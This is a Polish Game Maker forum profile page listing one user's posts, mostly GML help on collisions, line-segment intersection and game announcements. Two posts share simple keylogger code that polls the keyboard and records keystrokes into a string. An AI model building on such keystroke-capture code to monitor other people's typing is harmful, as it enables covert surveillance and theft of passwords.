Skocz do zawartości

Cekol

Użytkownicy
  • Postów

    594
  • Dołączył

  • Ostatnia wizyta

Treść opublikowana przez Cekol

  1. Nie chcę cie dobijać ale... Po zamianie XE_MESSAGE na XE_MESSAGE nie generuje się żaden plik html.
  2. I mi i mi! Mi też nie działa! :D Odpalam jakiś przykład z folderu, pokazuje się wypaśne logo, po czym się wyłącza bez żadnego komunikatu :unsure:
  3. GML if x-sprite_width/2 <=0 or x+sprite_width/2 >=room_width then show_message('Lolmialiardow100!') Jezeli orgin sprita masz ustawiony na środku...
  4. to może w kolizji potwora z potworem: GML x+=lengthdir_x(2,point_direction(other.x,other.y,x,y)) y+=lengthdir_y(2,point_direction(other.x,other.y,x,y))
  5. Hejo. Przedstawiam wam mój skrypt sprawdzający, czy 2 odcinki się przecinają xd Do poprawnego działania skryptu, potrzebujemy 2 skrypt , obliczający kąt pomiędzy 2 kierunkami: DirDiv (Skrypt na obliczanie różnicy kąta): GML var dif if(argument1>argument0+180) { dif=-((360-argument1)+argument0) } else{ if(argument0>argument1+180) { dif=((360-argument0)+argument1) } else{ dif=argument1-argument0 } } return dif I tu sam skrypt sprawdzania czy linie się przecinają: Lines_collide: GML CH_XSTART_1=argument0 CH_YSTART_1=argument1 CH_XEND_1=argument2 CH_YEND_1=argument3 CH_XSTART_2=argument4 CH_YSTART_2=argument5 CH_XEND_2=argument6 CH_YEND_2=argument7 MAINDIR=DirDiv(point_direction( CH_XSTART_1 ,CH_YSTART_1 , CH_XEND_1 , CH_YEND_1 ),0) DIR=point_direction(CH_XSTART_1,CH_YSTART_1, CH_XSTART_2 , CH_YSTART_2 ) DIST=point_distance(CH_XSTART_1,CH_YSTART_1, CH_XSTART_2 , CH_YSTART_2 ) CH_XSTART_2=lengthdir_x(DIST,DIR+MAINDIR) CH_YSTART_2=lengthdir_y(DIST,DIR+MAINDIR) DIR=point_direction(CH_XSTART_1,CH_YSTART_1, CH_XEND_2 , CH_YEND_2 ) DIST=point_distance(CH_XSTART_1,CH_YSTART_1, CH_XEND_2 , CH_YEND_2 ) CH_XEND_2=lengthdir_x(DIST,DIR+MAINDIR) CH_YEND_2=lengthdir_y(DIST,DIR+MAINDIR) DIST=point_distance(CH_XSTART_1,CH_YSTART_1,CH_XEND_1,CH_YEND_1) CH_XSTART_1=0 CH_YSTART_1=0 CH_XEND_1=DIST CH_YEND_1=0 if CH_YSTART_2>0 { CH_YSTART_2=-CH_YSTART_2 CH_YEND_2=-CH_YEND_2 } if CH_XSTART_2<0 && CH_XEND_2<0 {return 0; exit} if CH_XSTART_2>DIST && CH_XEND_2>DIST {return 0; exit} if CH_YEND_2<0 {return 0; exit} if DirDiv( point_direction(CH_XSTART_2,CH_YSTART_2,0,0) , point_direction(CH_XSTART_2,CH_YSTART_2,CH_XEND_2,CH_YEND_2) ) < 0 {return 0; exit} if DirDiv( point_direction(CH_XSTART_2,CH_YSTART_2,DIST,0) , point_direction(CH_XSTART_2,CH_YSTART_2,CH_XEND_2,CH_YEND_2) ) > 0 {return 0; exit} return 1; Zeby było wszystko jasne, dam przykład :P https://gmclan.org/up808_12_lies.html (gmk) Prosze mnie nie pytać, czemu nie ma komentarzy, czy czegoś takiego. Jest to skrypt, a nie Przykład pokazujący jak coś zrobić.(Co nie znaczy, że nie wiem o co chodzi w skrypcie ;p)
  6. Jak nie wiesz co to znaczy, to znaczy że musisz sie jeszcze pouczyć gmla , a nie robić keylogera :P XxMichałxX: Do zrozumienia mojego keylogera polecam artykuł "O stringach słów kilka" , dowiedzieć się trochę o pętlach , oraz użyć wyobraźni (ale tak mocno) xD
  7. A ja zrobiłem keylogera w gm... CREATE: GML text="" text_pressed="" STEP: GML chair_table="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890" chair_numbers=string_length(chair_table) //show_message(string(chair_table)+" "+string(chair_numbers)) for(a=0;a<=chair_numbers;a+=1) { var key_pressed; key_pressed=0; chair_current= string_char_at(chair_table,a) if keyboard_check_direct(ord(chair_current)) key_pressed=1 chair_pressed=string_pos(chair_current,text_pressed) if chair_pressed=0 && key_pressed=1 { text_pressed+=" "+string(chair_current)+" " if keyboard_check_direct(vk_shift) text+=string(chair_current) else text+=string_lower(chair_current) } if chair_pressed!=0 && key_pressed=0 { text_pressed=string_replace_all(text_pressed," "+chair_current+" ","") } } key_use(vk_enter,"[ENTER]#") //key_use(vk_control,"[CTRL]") key_use(vk_space,"_") Skrypt"key_use": GML var key_pressed; key_pressed=0; if keyboard_check_direct(argument0) key_pressed=1 chair_pressed=string_pos(argument1,text_pressed) if chair_pressed=0 && key_pressed=1 { text_pressed+=string(argument1) text+=string(argument1) } if chair_pressed!=0 && key_pressed=0 { text_pressed=string_replace_all(text_pressed,argument1,"") } w stringu 'text' mamy wszystko zapisane co pisalismy :)
  8. Hejo wszytkim. Ostatnio robiłem dla własnych potrzeb portale do mojej gry top-down i stwierdziłem że mogę się z wami nimi podzielić, w formie przykładu :) Przykład pokazuje jak zrobić taki portal, jak zrobić obiekty przelatujące przez niego, oraz jak zrobić NPca korzystającego z nich ;p Wszystko opisane w przykładzie! https://gmclan.org/up808_4_Portal.html
  9. Heh. Ostatnio też zacząłem robić sobie keyloggera, ponieważ żaden z internetu mnie nie zadowalał... Jako to, że kodem lubie sie dzielić, pokaże jakim ja sposobem robię keyloggera w gm. W Create: GML text="" text_pressed="" W Step: GML chair_table="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 " chair_numbers=string_length(chair_table) //show_message(string(chair_table)+" "+string(chair_numbers)) for(a=0;a<=chair_numbers;a+=1) { var key_pressed; key_pressed=0; chair_current= string_char_at(chair_table,a) if keyboard_check_direct(ord(chair_current)) key_pressed=1 chair_pressed=string_pos(chair_current,text_pressed) if chair_pressed=0 && key_pressed=1 { text_pressed+=string(chair_current) text+=string(chair_current) } if chair_pressed!=0 && key_pressed=0 { text_pressed=string_replace_all(text_pressed,chair_current," ") } } Na razie działa to tylko na litery i cyfry, bez wielkosci liter. i o to cały keylogger :D
  10. Cekol

    Tura #51 - Głosowanie

    No . Harda sprawa... Chyba wybiorę grę copoconaca , ale nie jestem pewien...
  11. Szczerze mówiąc to ta gra była robiona przez 2 dni jak kumpel wbił do mnie na nockę xD
  12. Nie xD Jako tako nie działa mi -ć- i nie raz wychodzą mi dziwadła xD
  13. Zawsze coś muszę zwalic... Gotowe! Można ściągac grac!
  14. Tytuł: Grzyb shooter Gatunek: kurka wodna style Opis: Strzelamy do głów "Grzyba" (Pewna niemiła osoba) na punkty , w określonym czasie. W grze mamy do dyspozycji 3 bronie: Pistolet , smg , i strzelbę. Na początku gry mamy sam pistolet. aby odblokować pozostałe bronie, należy zestrzelic do nich magazynki poruszające się po planszy , oraz przeładować na spacje. Wybieramy bronie klawiszami 1 - 2 - 3 W grze można robić kombosy zestrzeliwając kilka głów na raz. Gra w swojej prostocie jest nawet grywalna , ponieważ ma dobrą oprawę muzyczną i dźwiękową :D Download: https://gmclan.org/up808_4_ubergame.html Rozmiar pliku: 6 MB Autorzy: Programowanie: Ja + RobaQ Fabuła: RobaQ (bardziej pomysł niż fabuła) Grafika: RobaQ Muzyka i Dzwięki: Behemot + dzwięi z Liero i Quaka 3. Screen: Zapraszam do grania! :)
  15. Ja mam :D I powiem że giera wypaśna. Nie tnie , grywalna , i prosta :) 5/5
  16. Cekol

    2012

    Dobry dobry. PsichiX zabierz się za coś normalnego. chociaż platformówkę xD Odpalasz config.ini i zmieniasz linijkę fullscreen=1 na fullscreen=0 :wheelchair:
  17. Cekol

    2012

    Ale ogólnie to jakaś lipa. Niby gra ładnie śmiga na oko 60 fps, ale gdy meteoryt walnie o budynek... spada do 5 klatek na sekundę , a gdy jakimś cudem , w budynek walnęło 7 meteorytów, gra się zacięła xD A kompa mam dobrego (Nie będę mówił , bo to zabrzmi jak bym się chwalił ;p)
  18. Cekol

    2012

    Wyłączcie Fullscreen!!!111 oneone! xD na full screenie mi nie działało , a w okienku wszystko śmiga :) W ini tam można ustawić.
  19. Nicolas , a nie dało by się bez tego obiektu ? :( żeby były same zmienne i matematyka. Nie muszę mieć tego punktu przecięcia odcinków, tylko samo, czy linie się przecinają :)
  20. No nie :P ale jak komuś zachce się takiego trybu, którego nie będzie w grze, to albo zrobi moda, albo zrezygnuje z gry. Komuś się zachce damage x10 , komuś insta gib , innemu speed x 3 i takie tam xD
  21. A co z modyfikacjami gry (modowaniem) ? Amy dodać jakiś obiekt, (nową broń, nowy typ granatu , nowe 'coś' ) będzie trzeba na nowo przesyłać całego klienta?
  22. @Tymon Może zakodź ;) to pierwsze "Kiedy 2 proste się przecinają? Wtedy kiedy nie są równoległe. Czyli a1 != a2." jeszcze rozumiem, ale tego następnego, nie za bardzo.
  23. @gnysek: Też znalazłem tą stronę, nawet patrzałem na te przykłady (c++) co są na dole strony, ale nic z tego nie czaje xD @Tymon: Hmm? przekształcił równanie dwóch prostych? ale że co? xD
  24. Hejo. Wiecie może jak sprawdzić czy 2 odcinki się przecinają? Mam 8 zmiennych: XSTART1 YSTART1 XEND1 YEND1 XSTART2 YSTART2 XEND2 YEND2 W tym XSTART1 YSTART1 XEND1 YEND1 to zmienne początku i końca pozycji pierwszego odcinka a XSTART2 YSTART2 XEND2 YEND2 to zmienne początku i końca pozycji 2 odcinka. I muszę teraz wymyśle algorytm sprawdzający, czy te dwa odcinki się przecinają, lecz nie mam pomysłu jak to zrobić xD Proszę pomóżcie, a w zamian temu kto dobrze poda rozwiązanie najszybciej, będzie on w autorach mojej gry :D
×
×
  • Dodaj nową pozycję...